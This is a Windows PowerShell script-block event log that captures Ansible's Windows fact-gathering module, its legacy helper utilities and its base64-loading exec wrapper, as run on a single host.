# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
Function Get-CustomFacts {
[cmdletBinding()]
param (
[Parameter(mandatory=$false)]
$factpath = $null
)
if (-not (Test-Path -Path $factpath)) {
Fail-Json $result "The path $factpath does not exist. Typo?"
}
$FactsFiles = Get-ChildItem -Path $factpath | Where-Object -FilterScript {($PSItem.PSIsContainer -eq $false) -and ($PSItem.Extension -eq '.ps1')}
foreach ($FactsFile in $FactsFiles) {
$out = & $($FactsFile.FullName)
$result.ansible_facts.Add("ansible_$(($FactsFile.Name).Split('.')[0])", $out)
}
}
Function Get-MachineSid {
# The Machine SID is stored in HKLM:\SECURITY\SAM\Domains\Account and is
# only accessible by the Local System account. This method get's the local
# admin account (ends with -500) and lops it off to get the machine sid.
$admins_sid = "S-1-5-32-544"
$admin_group = ([Security.Principal.SecurityIdentifier]$admins_sid).Translate([Security.Principal.NTAccount]).Value
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$principal_context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$group_principal = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal($principal_context, $admin_group)
$searcher = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalSearcher($group_principal)
$groups = $searcher.FindOne()
$machine_sid = $null
foreach ($user in $groups.Members) {
$user_sid = $user.Sid
if ($user_sid.Value.EndsWith("-500")) {
$machine_sid = $user_sid.AccountDomainSid.Value
break
}
}
return $machine_sid
}
$cim_instances = @{}
Function Get-LazyCimInstance([string]$instance_name, [string]$namespace="Root\CIMV2") {
if(-not $cim_instances.ContainsKey($instance_name)) {
$cim_instances[$instance_name] = $(Get-CimInstance -Namespace $namespace -ClassName $instance_name)
}
return $cim_instances[$instance_name]
}
$result = @{
ansible_facts = @{ }
changed = $false
}
$grouped_subsets = @{
min=[System.Collections.Generic.List[string]]@('date_time','distribution','dns','env','local','platform','powershell_version','user')
network=[System.Collections.Generic.List[string]]@('all_ipv4_addresses','all_ipv6_addresses','interfaces','windows_domain', 'winrm')
hardware=[System.Collections.Generic.List[string]]@('bios','memory','processor','uptime')
external=[System.Collections.Generic.List[string]]@('facter')
}
# build "all" set from everything mentioned in the group- this means every value must be in at least one subset to be considered legal
$all_set = [System.Collections.Generic.HashSet[string]]@()
foreach($kv in $grouped_subsets.GetEnumerator()) {
[void] $all_set.UnionWith($kv.Value)
}
# dynamically create an "all" subset now that we know what should be in it
$grouped_subsets['all'] = [System.Collections.Generic.List[string]]$all_set
# start with all, build up gather and exclude subsets
$gather_subset = [System.Collections.Generic.HashSet[string]]$grouped_subsets.all
$explicit_subset = [System.Collections.Generic.HashSet[string]]@()
$exclude_subset = [System.Collections.Generic.HashSet[string]]@()
$params = Parse-Args $args -supports_check_mode $true
$factpath = Get-AnsibleParam -obj $params -name "fact_path" -type "path"
$gather_subset_source = Get-AnsibleParam -obj $params -name "gather_subset" -type "list" -default "all"
foreach($item in $gather_subset_source) {
if(([string]$item).StartsWith("!")) {
$item = ([string]$item).Substring(1)
if($item -eq "all") {
$all_minus_min = [System.Collections.Generic.HashSet[string]]@($all_set)
[void] $all_minus_min.ExceptWith($grouped_subsets.min)
[void] $exclude_subset.UnionWith($all_minus_min)
}
elseif($grouped_subsets.ContainsKey($item)) {
[void] $exclude_subset.UnionWith($grouped_subsets[$item])
}
elseif($all_set.Contains($item)) {
[void] $exclude_subset.Add($item)
}
# NB: invalid exclude values are ignored, since that's what posix setup does
}
else {
if($grouped_subsets.ContainsKey($item)) {
[void] $explicit_subset.UnionWith($grouped_subsets[$item])
}
elseif($all_set.Contains($item)) {
[void] $explicit_subset.Add($item)
}
else {
# NB: POSIX setup fails on invalid value; we warn, because we don't implement the same set as POSIX
# and we don't have platform-specific config for this...
Add-Warning $result "invalid value $item specified in gather_subset"
}
}
}
[void] $gather_subset.ExceptWith($exclude_subset)
[void] $gather_subset.UnionWith($explicit_subset)
$ansible_facts = @{
gather_subset=@($gather_subset_source)
module_setup=$true
}
$osversion = [Environment]::OSVersion
if($gather_subset.Contains('all_ipv4_addresses') -or $gather_subset.Contains('all_ipv6_addresses')) {
$netcfg = Get-LazyCimInstance Win32_NetworkAdapterConfiguration
# TODO: split v4/v6 properly, return in separate keys
$ips = @()
Foreach ($ip in $netcfg.IPAddress) {
If ($ip) {
$ips += $ip
}
}
$ansible_facts += @{
ansible_ip_addresses = $ips
}
}
if($gather_subset.Contains('bios')) {
$win32_bios = Get-LazyCimInstance Win32_Bios
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$ansible_facts += @{
ansible_bios_date = $win32_bios.ReleaseDate.ToString("MM/dd/yyyy")
ansible_bios_version = $win32_bios.SMBIOSBIOSVersion
ansible_product_name = $win32_cs.Model.Trim()
ansible_product_serial = $win32_bios.SerialNumber
# ansible_product_version = ([string] $win32_cs.SystemFamily)
}
}
if($gather_subset.Contains('date_time')) {
$datetime = (Get-Date)
$datetime_utc = $datetime.ToUniversalTime()
$date = @{
date = $datetime.ToString("yyyy-MM-dd")
day = $datetime.ToString("dd")
epoch = (Get-Date -UFormat "%s")
hour = $datetime.ToString("HH")
iso8601 = $datetime_utc.ToString("yyyy-MM-ddTHH:mm:ssZ")
iso8601_basic = $datetime.ToString("yyyyMMddTHHmmssffffff")
iso8601_basic_short = $datetime.ToString("yyyyMMddTHHmmss")
iso8601_micro = $datetime_utc.ToString("yyyy-MM-ddTHH:mm:ss.ffffffZ")
minute = $datetime.ToString("mm")
month = $datetime.ToString("MM")
second = $datetime.ToString("ss")
time = $datetime.ToString("HH:mm:ss")
tz = ([System.TimeZoneInfo]::Local.Id)
tz_offset = $datetime.ToString("zzzz")
# Ensure that the weekday is in English
weekday = $datetime.ToString("dddd", [System.Globalization.CultureInfo]::InvariantCulture)
weekday_number = (Get-Date -UFormat "%w")
weeknumber = (Get-Date -UFormat "%W")
year = $datetime.ToString("yyyy")
}
$ansible_facts += @{
ansible_date_time = $date
}
}
if($gather_subset.Contains('distribution')) {
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$product_type = switch($win32_os.ProductType) {
1 { "workstation" }
2 { "domain_controller" }
3 { "server" }
default { "unknown" }
}
$ansible_facts += @{
ansible_distribution = $win32_os.Caption
ansible_distribution_version = $osversion.Version.ToString()
ansible_distribution_major_version = $osversion.Version.Major.ToString()
ansible_os_family = "Windows"
ansible_os_name = ($win32_os.Name.Split('|')[0]).Trim()
ansible_os_product_type = $product_type
}
}
if($gather_subset.Contains('env')) {
$env_vars = @{ }
foreach ($item in Get-ChildItem Env:) {
$name = $item | select -ExpandProperty Name
# Powershell ConvertTo-Json fails if string ends with \
$value = ($item | select -ExpandProperty Value).TrimEnd("\")
$env_vars.Add($name, $value)
}
$ansible_facts += @{
ansible_env = $env_vars
}
}
if($gather_subset.Contains('facter')) {
# See if Facter is on the System Path
Try {
$facter_exe = Get-Command facter -ErrorAction Stop
$facter_installed = $true
} Catch {
$facter_installed = $false
}
# Get JSON from Facter, and parse it out.
if ($facter_installed) {
&facter -j | Tee-Object -Variable facter_output | Out-Null
$facts = "$facter_output" | ConvertFrom-Json
ForEach($fact in $facts.PSObject.Properties) {
$fact_name = $fact.Name
$ansible_facts.Add("facter_$fact_name", $fact.Value)
}
}
}
if($gather_subset.Contains('interfaces')) {
$netcfg = Get-LazyCimInstance Win32_NetworkAdapterConfiguration
$ActiveNetcfg = @()
$ActiveNetcfg += $netcfg | where {$_.ipaddress -ne $null}
$namespaces = Get-LazyCimInstance __Namespace -namespace root
if ($namespaces | Where-Object { $_.Name -eq "StandardCimv" }) {
$net_adapters = Get-LazyCimInstance MSFT_NetAdapter -namespace Root\StandardCimv2
$guid_key = "InterfaceGUID"
$name_key = "Name"
} else {
$net_adapters = Get-LazyCimInstance Win32_NetworkAdapter
$guid_key = "GUID"
$name_key = "NetConnectionID"
}
$formattednetcfg = @()
foreach ($adapter in $ActiveNetcfg)
{
$thisadapter = @{
default_gateway = $null
connection_name = $null
dns_domain = $adapter.dnsdomain
interface_index = $adapter.InterfaceIndex
interface_name = $adapter.description
macaddress = $adapter.macaddress
}
if ($adapter.defaultIPGateway)
{
$thisadapter.default_gateway = $adapter.DefaultIPGateway[0].ToString()
}
$net_adapter = $net_adapters | Where-Object { $_.$guid_key -eq $adapter.SettingID }
if ($net_adapter) {
$thisadapter.connection_name = $net_adapter.$name_key
}
$formattednetcfg += $thisadapter
}
$ansible_facts += @{
ansible_interfaces = $formattednetcfg
}
}
if ($gather_subset.Contains("local") -and $factpath -ne $null) {
# Get any custom facts; results are updated in the
Get-CustomFacts -factpath $factpath
}
if($gather_subset.Contains('memory')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$ansible_facts += @{
# Win32_PhysicalMemory is empty on some virtual platforms
ansible_memtotal_mb = ([math]::round($win32_cs.TotalPhysicalMemory / 1024 / 1024))
ansible_swaptotal_mb = ([math]::round($win32_os.TotalSwapSpaceSize / 1024 / 1024))
}
}
if($gather_subset.Contains('platform')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$ip_props = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
$ansible_facts += @{
ansible_architecture = $win32_os.OSArchitecture
ansible_domain = $ip_props.DomainName
ansible_fqdn = ($ip_props.Hostname + "." + $ip_props.DomainName)
ansible_hostname = $env:COMPUTERNAME
ansible_kernel = $osversion.Version.ToString()
ansible_nodename = ($ip_props.HostName + "." + $ip_props.DomainName)
ansible_machine_id = Get-MachineSid
ansible_owner_contact = ([string] $win32_cs.PrimaryOwnerContact)
ansible_owner_name = ([string] $win32_cs.PrimaryOwnerName)
# FUTURE: should this live in its own subset?
ansible_reboot_pending = (Get-PendingRebootStatus)
ansible_system = $osversion.Platform.ToString()
ansible_system_description = ([string] $win32_os.Description)
ansible_system_vendor = $win32_cs.Manufacturer
}
}
if($gather_subset.Contains('powershell_version')) {
$ansible_facts += @{
ansible_powershell_version = ($PSVersionTable.PSVersion.Major)
}
}
if($gather_subset.Contains('processor')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$win32_cpu = Get-LazyCimInstance Win32_Processor
if ($win32_cpu -is [array]) {
# multi-socket, pick first
$win32_cpu = $win32_cpu[0]
}
$cpu_list = @( )
for ($i=1; $i -le ($win32_cpu.NumberOfLogicalProcessors / $win32_cs.NumberOfProcessors); $i++) {
$cpu_list += $win32_cpu.Manufacturer
$cpu_list += $win32_cpu.Name
}
$ansible_facts += @{
ansible_processor = $cpu_list
ansible_processor_cores = $win32_cpu.NumberOfCores
ansible_processor_count = $win32_cs.NumberOfProcessors
ansible_processor_threads_per_core = ($win32_cpu.NumberOfLogicalProcessors / $win32_cs.NumberOfProcessors / $win32_cpu.NumberOfCores)
ansible_processor_vcpus = ($win32_cpu.NumberOfLogicalProcessors / $win32_cs.NumberOfProcessors)
}
}
if($gather_subset.Contains('uptime')) {
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$ansible_facts += @{
ansible_lastboot = $win32_os.lastbootuptime.ToString("u")
ansible_uptime_seconds = $([System.Convert]::ToInt64($(Get-Date).Subtract($win32_os.lastbootuptime).TotalSeconds))
}
}
if($gather_subset.Contains('user')) {
$user = [Security.Principal.WindowsIdentity]::GetCurrent()
$ansible_facts += @{
ansible_user_dir = $env:userprofile
# Win32_UserAccount.FullName is probably the right thing here, but it can be expensive to get on large domains
ansible_user_gecos = ""
ansible_user_id = $env:username
ansible_user_sid = $user.User.Value
}
}
if($gather_subset.Contains('windows_domain')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$domain_roles = @{
0 = "Stand-alone workstation"
1 = "Member workstation"
2 = "Stand-alone server"
3 = "Member server"
4 = "Backup domain controller"
5 = "Primary domain controller"
}
$domain_role = $domain_roles.Get_Item([Int32]$win32_cs.DomainRole)
$ansible_facts += @{
ansible_windows_domain = $win32_cs.Domain
ansible_windows_domain_member = $win32_cs.PartOfDomain
ansible_windows_domain_role = $domain_role
}
}
if($gather_subset.Contains('winrm')) {
$winrm_https_listener_parent_paths = Get-ChildItem -Path WSMan:\localhost\Listener -Recurse | Where-Object {$_.PSChildName -eq "Transport" -and $_.Value -eq "HTTPS"} | select PSParentPath
if ($winrm_https_listener_parent_paths -isnot [array]) {
$winrm_https_listener_parent_paths = @($winrm_https_listener_parent_paths)
}
$winrm_https_listener_paths = @()
foreach ($winrm_https_listener_parent_path in $winrm_https_listener_parent_paths) {
$winrm_https_listener_paths += $winrm_https_listener_parent_path.PSParentPath.Substring($winrm_https_listener_parent_path.PSParentPath.LastIndexOf("\"))
}
$https_listeners = @()
foreach ($winrm_https_listener_path in $winrm_https_listener_paths) {
$https_listeners += Get-ChildItem -Path "WSMan:\localhost\Listener$winrm_https_listener_path"
}
$winrm_cert_thumbprints = @()
foreach ($https_listener in $https_listeners) {
$winrm_cert_thumbprints += $https_listener | where {$_.Name -EQ "CertificateThumbprint" } | select Value
}
$winrm_cert_expiry = @()
foreach ($winrm_cert_thumbprint in $winrm_cert_thumbprints) {
Try {
$winrm_cert_expiry += Get-ChildItem -Path Cert:\LocalMachine\My | where Thumbprint -EQ $winrm_cert_thumbprint.Value.ToString().ToUpper() | select NotAfter
} Catch {}
}
$winrm_cert_expirations = $winrm_cert_expiry | Sort-Object NotAfter
if ($winrm_cert_expirations) {
# this fact was renamed from ansible_winrm_certificate_expires due to collision with ansible_winrm_X connection var pattern
$ansible_facts.Add("ansible_win_rm_certificate_expires", $winrm_cert_expirations[0].NotAfter.ToString("yyyy-MM-dd HH:mm:ss"))
}
}
$result.ansible_facts += $ansible_facts
Exit-Json $result
ScriptBlock ID: 8e513db6-4903-4941-8164-a51900243b2f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1765 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 1056 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:52 AM | dfeadd90-ee34-0001-122a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 13c67786-e0ee-41cf-97f8-fdc30ab31256
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1764 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 2236 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:52 AM | dfeadd90-ee34-0001-052a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 6bafdbfb-9f33-4f17-95d4-8cde9af03b57
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1763 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 2236 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:52 AM | dfeadd90-ee34-0001-002a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
F06OlRvSW50NjQoJChHZXQtRGF0ZSkuU3VidHJhY3QoJHdpbjMyX29zLmxhc3Rib290dXB0aW1lKS5Ub3RhbFNlY29uZHMpKQogICAgfQp9CgppZigkZ2F0aGVyX3N1YnNldC5Db250YWlucygndXNlcicpKSB7CiAgICAkdXNlciA9IFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0lkZW50aXR5XTo6R2V0Q3VycmVudCgpCiAgICAkYW5zaWJsZV9mYWN0cyArPSBAewogICAgICAgIGFuc2libGVfdXNlcl9kaXIgPSAkZW52OnVzZXJwcm9maWxlCiAgICAgICAgIyBXaW4zMl9Vc2VyQWNjb3VudC5GdWxsTmFtZSBpcyBwcm9iYWJseSB0aGUgcmlnaHQgdGhpbmcgaGVyZSwgYnV0IGl0IGNhbiBiZSBleHBlbnNpdmUgdG8gZ2V0IG9uIGxhcmdlIGRvbWFpbnMKICAgICAgICBhbnNpYmxlX3VzZXJfZ2Vjb3MgPSAiIgogICAgICA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6bW06c3MiKSkKICAgIH0KfQoKJHJlc3VsdC5hbnNpYmxlX2ZhY3RzICs9ICRhbnNpYmxlX2ZhY3RzCgpFeGl0LUpzb24gJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "gather_timeout": 10, "_ansible_module_name": "setup", "_ansible_remote_tmp": "%TEMP%", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "gather_subset": ["all"], "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: d1b0befb-52b4-418c-9a4c-f35fb219154b
